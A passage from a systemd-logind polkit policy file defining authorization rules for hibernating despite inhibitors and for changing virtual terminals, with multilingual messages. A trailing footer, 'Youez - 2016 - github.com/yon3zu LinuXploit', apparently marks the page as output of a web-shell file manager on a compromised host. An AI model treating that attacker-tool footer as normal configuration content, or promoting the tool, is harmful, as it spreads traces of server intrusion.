                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.hibernate</annotate>
        </action>

        <action id="org.freedesktop.login1.hibernate-ignore-inhibit">
                <description>Hibernate the system while an application asked to inhibit it</description>
                <description xml:lang="de">Das System in den Ruhezustand versetzen, während eine Anwendung wünscht dies zu verhindern</description>
                <description xml:lang="el">Αδρανοποίηση του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί</description>
                <description xml:lang="fr">Mettre le système en hibernation alors qu'une application a demandé de l'empêcher</description>
                <description xml:lang="hu">A rendszer hibernálása miközben egy alkalmazás ennek meggátlását kérte</description>
                <description xml:lang="it">Ibernare il sistema mentre un'applicazione chiede di inibirne l'azione</description>
                <description xml:lang="pl">Hibernacja systemu, kiedy program zażądał jej wstrzymania</description>
                <description xml:lang="pt_BR">Hibernar o sistema enquanto um aplicativo solicitou inibição</description>
                <description xml:lang="ru">Перевести систему в спящий режим, несмотря на то, что приложение запросило блокировку</description>
                <description xml:lang="sv">Försätt systemet i viloläge även då ett program hindrar det</description>
                <description xml:lang="uk">Приспати систему, коли програми намагаються першкодити цьому</description>
                <message>Authentication is required for hibernating the system while an application asked to inhibit it.</message>
                <message xml:lang="de">Legitimierung ist zum Versetzen des System in den Ruhezustand notwendig, während eine Anwendung wünscht dies zu verhindern.</message>
                <message xml:lang="el">Απαιτείται πιστοποίηση για αδρανοποίηση του συστήματος ενώ μια εφαρμογή ζήτησε να αποτραπεί.</message>
                <message xml:lang="fr">Authentification requise pour mettre le système en hibernation alors qu'une application a demandé de l'empêcher.</message>
                <message xml:lang="hu">Hitelesítés szükséges a rendszer hibernálásához miközben egy alkalmazás ennek meggátlását kérte.</message>
                <message xml:lang="it">Autenticazione richiesta per ibernare il sistema mentre un'applicazione chiede di inibirne l'azione.</message>
                <message xml:lang="pl">Wymagane jest uwierzytelnienie, aby zahibernować system, kiedy program zażądał jej wstrzymania.</message>
                <message xml:lang="pt_BR">É necessária autenticação para hibernar o sistema enquanto um aplicativo solicitou inibição.</message>
                <message xml:lang="ru">Чтобы перевести систему в спящий режим, несмотря на то, что приложение запросило блокировку, необходимо пройти аутентификацию.</message>
                <message xml:lang="sv">Autentisering krävs för att försätta ett program i viloläge även då ett program hindrar det.</message>
                <message xml:lang="uk">Засвідчення потрібно, щоб приспати систему, коли програми намагаються першкодити цьому.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.hibernate</annotate>
        </action>

        <action id="org.freedesktop.login1.chvt">
                <description>Change Session</description>
                <message>Authentication is required for changing the virtual terminal.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
        </action>

</policyconfig>

Youez - 2016 - github.com/yon3zu
LinuXploit